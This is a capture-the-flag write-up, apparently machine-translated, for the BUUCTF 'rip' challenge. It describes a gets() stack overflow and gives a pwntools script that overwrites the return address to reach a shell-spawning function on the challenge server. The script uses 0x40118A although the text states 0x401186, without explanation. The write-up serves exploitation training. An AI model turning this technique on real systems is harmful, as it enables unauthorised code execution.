BUUCTF -rip

---

One 、 see file

First file ./pwn1 Check the file type and then checksec --file=pwn1 Check the file protection .

Get the information ：64 position , All protections are not turned on .

Two 、 Use IDA decompile

use IDA Pro 64bit open pwn1 Post press F5 Disassemble the source code and check the main function , Find out gets() Function reads input to variable s in ,s The length of is only 0xf, The stack size is only 15 byte , however gets() Function does not restrict input , Obviously, there is a stack overflow vulnerability .

stay Functions window You can see there's one fun() function ：

And fun() The starting address of the function is 0x401186.

---

3、 ... and 、 Code

from pwn import *
# remote() Establish a remote connection , To specify ip and port
io = remote('node4.buuoj.cn', 25649)
payload = b'a'*(0xf + 0x8) + p64(0x40118A)
io.sendline(payload) # send data 
io.interactive() # And shell Interact